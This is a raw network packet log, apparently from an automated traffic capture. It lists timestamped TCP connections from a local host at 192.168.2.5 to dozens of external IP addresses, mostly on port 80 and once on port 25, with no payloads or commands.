Oct 25, 2024 11:18:09.957093954 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.957151890 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.957187891 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.957211018 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.957225084 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.957534075 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.957614899 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.957639933 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:09.958621025 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:09.960822105 CEST	80	52862	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:09.960880995 CEST	52862	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:09.992728949 CEST	80	52859	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:09.992786884 CEST	52859	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:10.000217915 CEST	80	52750	157.112.176.4	192.168.2.5
Oct 25, 2024 11:18:10.000668049 CEST	52750	80	192.168.2.5	157.112.176.4
Oct 25, 2024 11:18:10.010699987 CEST	80	52864	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:10.010740042 CEST	80	52864	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:10.010926962 CEST	52864	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:10.010926962 CEST	52864	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:10.052294016 CEST	52856	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:10.054055929 CEST	80	52863	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:10.054167032 CEST	52863	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:10.057795048 CEST	80	52856	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:10.072900057 CEST	52862	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:10.073725939 CEST	52859	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:10.077951908 CEST	52593	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:10.078181028 CEST	52877	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:10.078306913 CEST	80	52862	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:10.079157114 CEST	80	52859	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:10.079883099 CEST	52863	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:10.080634117 CEST	52878	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:10.082458019 CEST	52585	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.082710981 CEST	52879	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.083534956 CEST	80	52593	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:10.083734035 CEST	80	52877	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:10.083800077 CEST	52877	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:10.084877014 CEST	52877	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:10.085324049 CEST	80	52863	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:10.085771084 CEST	52880	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:10.086019039 CEST	80	52878	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:10.086100101 CEST	52878	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:10.086189032 CEST	52878	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:10.088299990 CEST	80	52879	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:10.088365078 CEST	52879	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.088423014 CEST	80	52585	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:10.088510990 CEST	52879	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.088531971 CEST	52585	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.090239048 CEST	80	52877	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:10.091178894 CEST	80	52880	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:10.091248989 CEST	52880	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:10.091348886 CEST	52880	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:10.091845036 CEST	80	52878	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:10.093899965 CEST	80	52879	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:10.096715927 CEST	80	52880	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:10.123014927 CEST	80	52860	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:10.123074055 CEST	52860	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:10.123642921 CEST	52860	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:10.129462957 CEST	80	52860	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:10.129528999 CEST	52860	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:10.159871101 CEST	52881	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:10.166147947 CEST	80	52881	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:10.166399002 CEST	52881	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:10.166399002 CEST	52881	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:10.171951056 CEST	80	52881	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:10.201819897 CEST	80	52862	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:10.201881886 CEST	52862	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:10.210654020 CEST	80	52872	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:10.210776091 CEST	52872	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:10.225720882 CEST	80	52863	192.124.249.10	192.168.2.5
Oct 25, 2024 11:18:10.225826979 CEST	52863	80	192.168.2.5	192.124.249.10
Oct 25, 2024 11:18:10.242314100 CEST	52872	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:10.246829033 CEST	52583	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:10.247479916 CEST	52882	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:10.248790979 CEST	80	52872	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:10.252224922 CEST	80	52583	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:10.252923012 CEST	80	52882	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:10.253108978 CEST	52882	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:10.261094093 CEST	52882	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:10.266498089 CEST	80	52882	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:10.291261911 CEST	52883	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:10.296813965 CEST	80	52883	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:10.296905994 CEST	52883	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:10.300082922 CEST	52883	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:10.300174952 CEST	80	52866	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:10.300250053 CEST	52866	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:10.305466890 CEST	80	52883	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:10.318111897 CEST	52866	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:10.319623947 CEST	80	52856	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:10.319709063 CEST	52856	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:10.323718071 CEST	80	52866	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:10.342046022 CEST	80	52859	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:10.342108011 CEST	52859	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:10.374373913 CEST	80	52872	172.67.173.200	192.168.2.5
Oct 25, 2024 11:18:10.374444008 CEST	52872	80	192.168.2.5	172.67.173.200
Oct 25, 2024 11:18:10.456872940 CEST	80	52871	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:10.456934929 CEST	52871	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:10.461930037 CEST	80	52870	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:10.461961031 CEST	80	52869	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:10.461994886 CEST	52870	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:10.462023020 CEST	52869	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:10.542279959 CEST	52886	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:10.543728113 CEST	52591	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:10.544218063 CEST	52887	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:10.544986010 CEST	52869	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:10.545576096 CEST	52888	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:10.547796011 CEST	80	52886	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:10.547878981 CEST	52886	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:10.548152924 CEST	52886	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:10.549541950 CEST	80	52591	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:10.549601078 CEST	52591	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:10.549890041 CEST	80	52887	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:10.550002098 CEST	52887	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:10.550127983 CEST	52887	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:10.550338984 CEST	80	52869	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:10.550930023 CEST	80	52888	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:10.551064014 CEST	52888	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:10.551157951 CEST	52888	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:10.551249981 CEST	52870	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:10.551465988 CEST	52871	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:10.553663015 CEST	80	52886	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:10.555521965 CEST	80	52887	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:10.556505919 CEST	80	52888	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:10.556925058 CEST	80	52870	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:10.556952953 CEST	80	52871	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:10.575582981 CEST	80	52866	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:10.575648069 CEST	52866	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:10.644783974 CEST	80	52874	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:10.644860029 CEST	52874	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:10.665363073 CEST	52874	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:10.667256117 CEST	52890	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:10.671267986 CEST	80	52874	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:10.673008919 CEST	80	52890	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:10.673085928 CEST	52890	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:10.673217058 CEST	52890	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:10.679567099 CEST	80	52890	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:10.684660912 CEST	80	52868	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:10.684751034 CEST	52868	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:10.685955048 CEST	80	52868	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:10.686110973 CEST	52868	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:10.688956976 CEST	80	52880	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:10.689038038 CEST	80	52880	198.185.159.144	192.168.2.5
Oct 25, 2024 11:18:10.689075947 CEST	52880	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:10.689110041 CEST	52880	80	192.168.2.5	198.185.159.144
Oct 25, 2024 11:18:10.717454910 CEST	80	52879	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:10.717503071 CEST	52879	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.757647991 CEST	52879	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.758812904 CEST	52614	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:10.759083033 CEST	52891	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:10.782533884 CEST	80	52879	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:10.782550097 CEST	80	52891	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:10.782629967 CEST	52891	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:10.782897949 CEST	52891	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:10.783498049 CEST	80	52614	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:10.784205914 CEST	52614	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:10.788711071 CEST	80	52891	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:10.807935953 CEST	80	52871	80.74.154.6	192.168.2.5
Oct 25, 2024 11:18:10.808175087 CEST	52871	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:10.811248064 CEST	80	52869	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:10.811305046 CEST	52869	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:10.816101074 CEST	80	52870	185.80.51.179	192.168.2.5
Oct 25, 2024 11:18:10.816171885 CEST	52870	80	192.168.2.5	185.80.51.179
Oct 25, 2024 11:18:10.911112070 CEST	52892	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.917174101 CEST	80	52892	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:10.917233944 CEST	52892	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.917341948 CEST	52892	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.923064947 CEST	80	52892	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:10.931489944 CEST	80	52874	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:10.931514978 CEST	80	52879	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:10.931564093 CEST	52874	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:10.932027102 CEST	52879	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:10.946499109 CEST	80	52877	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:10.946548939 CEST	52877	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:10.959458113 CEST	80	52878	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:10.959564924 CEST	52878	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:10.962666035 CEST	80	52882	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:10.964065075 CEST	52882	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:11.033917904 CEST	52877	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:11.039329052 CEST	80	52877	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:11.054272890 CEST	52882	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:11.054721117 CEST	52878	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:11.059921026 CEST	80	52882	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:11.060050964 CEST	80	52878	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:11.063265085 CEST	52895	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:11.068705082 CEST	80	52895	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:11.068793058 CEST	52895	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:11.068943977 CEST	52895	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:11.072094917 CEST	80	52881	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:11.072143078 CEST	52881	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:11.074431896 CEST	80	52895	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:11.095573902 CEST	52881	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:11.101830959 CEST	80	52881	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:11.103844881 CEST	52896	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:11.109741926 CEST	80	52896	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:11.110461950 CEST	52896	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:11.110783100 CEST	52896	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:11.116456985 CEST	80	52896	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:11.120686054 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:11.120954037 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:11.122920990 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:11.123167992 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:11.125993013 CEST	52599	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.126204014 CEST	52899	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.126733065 CEST	80	52601	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:11.126780033 CEST	52601	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:11.127310038 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:11.127466917 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:11.128209114 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:11.128480911 CEST	80	52883	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:11.128535986 CEST	52883	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:11.128597021 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:11.128721952 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:11.130302906 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:11.130614042 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:11.131781101 CEST	80	52899	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:11.131853104 CEST	52899	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.131973982 CEST	80	52599	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:11.132100105 CEST	52599	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.135798931 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:11.135937929 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:11.145221949 CEST	52899	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.145889044 CEST	52883	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:11.150542974 CEST	80	52899	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:11.151199102 CEST	80	52883	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:11.232403040 CEST	80	52882	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:11.232455969 CEST	52882	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:11.235693932 CEST	52838	25	192.168.2.5	142.251.168.27
Oct 25, 2024 11:18:11.272597075 CEST	80	52888	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:11.273828030 CEST	52888	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:11.291779995 CEST	52888	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:11.292047024 CEST	80	52877	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:11.292188883 CEST	52877	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:11.293842077 CEST	52594	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:11.294332027 CEST	52900	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:11.297247887 CEST	80	52888	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:11.300050020 CEST	80	52594	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:11.300292969 CEST	80	52900	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:11.300432920 CEST	52900	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:11.312218904 CEST	52900	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:11.317975998 CEST	80	52900	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:11.319791079 CEST	80	52878	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:11.320087910 CEST	52878	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:11.359644890 CEST	80	52890	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:11.359770060 CEST	52890	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:11.366959095 CEST	80	52881	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:11.367033958 CEST	52881	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:11.385458946 CEST	80	52883	188.165.133.163	192.168.2.5
Oct 25, 2024 11:18:11.385543108 CEST	52883	80	192.168.2.5	188.165.133.163
Oct 25, 2024 11:18:11.393820047 CEST	80	52890	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:11.393933058 CEST	52890	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:11.394702911 CEST	52890	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:11.403377056 CEST	80	52890	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:11.438165903 CEST	80	52887	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:11.438636065 CEST	52887	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:11.468278885 CEST	80	52888	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:11.469696045 CEST	52888	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:11.472562075 CEST	52903	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:11.479782104 CEST	80	52903	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:11.480076075 CEST	52903	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:11.511265039 CEST	52903	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:11.512533903 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:11.517172098 CEST	80	52903	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:11.518203974 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:11.519548893 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:11.525094032 CEST	52904	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:11.527443886 CEST	52905	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:11.528253078 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:11.530611038 CEST	80	52904	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:11.532913923 CEST	80	52905	51.79.51.72	192.168.2.5
Oct 25, 2024 11:18:11.533010960 CEST	52905	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:11.533154011 CEST	52905	80	192.168.2.5	51.79.51.72
Oct 25, 2024 11:18:11.534882069 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:11.534946918 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:11.539941072 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:11.541085958 CEST	52907	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:11.541435957 CEST	80	52905	51.79.51.72	192.168.2.5
Oct 25, 2024 11:18:11.544367075 CEST	52908	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:11.545269012 CEST	80	52892	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:11.545335054 CEST	52892	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.548492908 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:11.550054073 CEST	80	52907	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:11.550129890 CEST	52907	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:11.552756071 CEST	80	52908	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:11.552824020 CEST	52908	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:11.553039074 CEST	52908	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:11.560790062 CEST	80	52908	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:11.563487053 CEST	52892	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.563736916 CEST	52907	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:11.567286015 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:11.567498922 CEST	52910	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:11.568996906 CEST	80	52892	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:11.569215059 CEST	80	52907	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:11.573021889 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:11.573031902 CEST	80	52910	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:11.573107958 CEST	52910	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:11.573231936 CEST	52910	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:11.582007885 CEST	80	52910	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:11.656306982 CEST	80	52886	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:11.656521082 CEST	52886	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:11.657694101 CEST	80	52886	116.211.150.37	192.168.2.5
Oct 25, 2024 11:18:11.657833099 CEST	52886	80	192.168.2.5	116.211.150.37
Oct 25, 2024 11:18:11.676522017 CEST	80	52786	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:11.676623106 CEST	52786	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:11.690785885 CEST	80	52892	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:11.690862894 CEST	52892	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.772867918 CEST	52911	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:11.778304100 CEST	80	52911	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:11.778383970 CEST	52911	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:11.778506041 CEST	52911	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:11.781712055 CEST	52912	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.784348011 CEST	80	52911	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:11.787112951 CEST	80	52912	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:11.787185907 CEST	52912	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.787585020 CEST	52912	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.793334007 CEST	80	52912	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:11.795327902 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:18:11.795712948 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:18:11.810060978 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:11.810213089 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:11.832690001 CEST	80	52899	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:11.832878113 CEST	52899	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.853935957 CEST	52899	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:11.859344006 CEST	80	52899	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:12.248935938 CEST	80	52869	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:12.248997927 CEST	52869	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:12.249114037 CEST	80	52895	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:12.249140024 CEST	80	52896	46.242.238.60	192.168.2.5
Oct 25, 2024 11:18:12.249157906 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249171019 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249182940 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249195099 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.249212027 CEST	52895	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:12.249212027 CEST	52896	80	192.168.2.5	46.242.238.60
Oct 25, 2024 11:18:12.249283075 CEST	80	52898	108.167.164.216	192.168.2.5
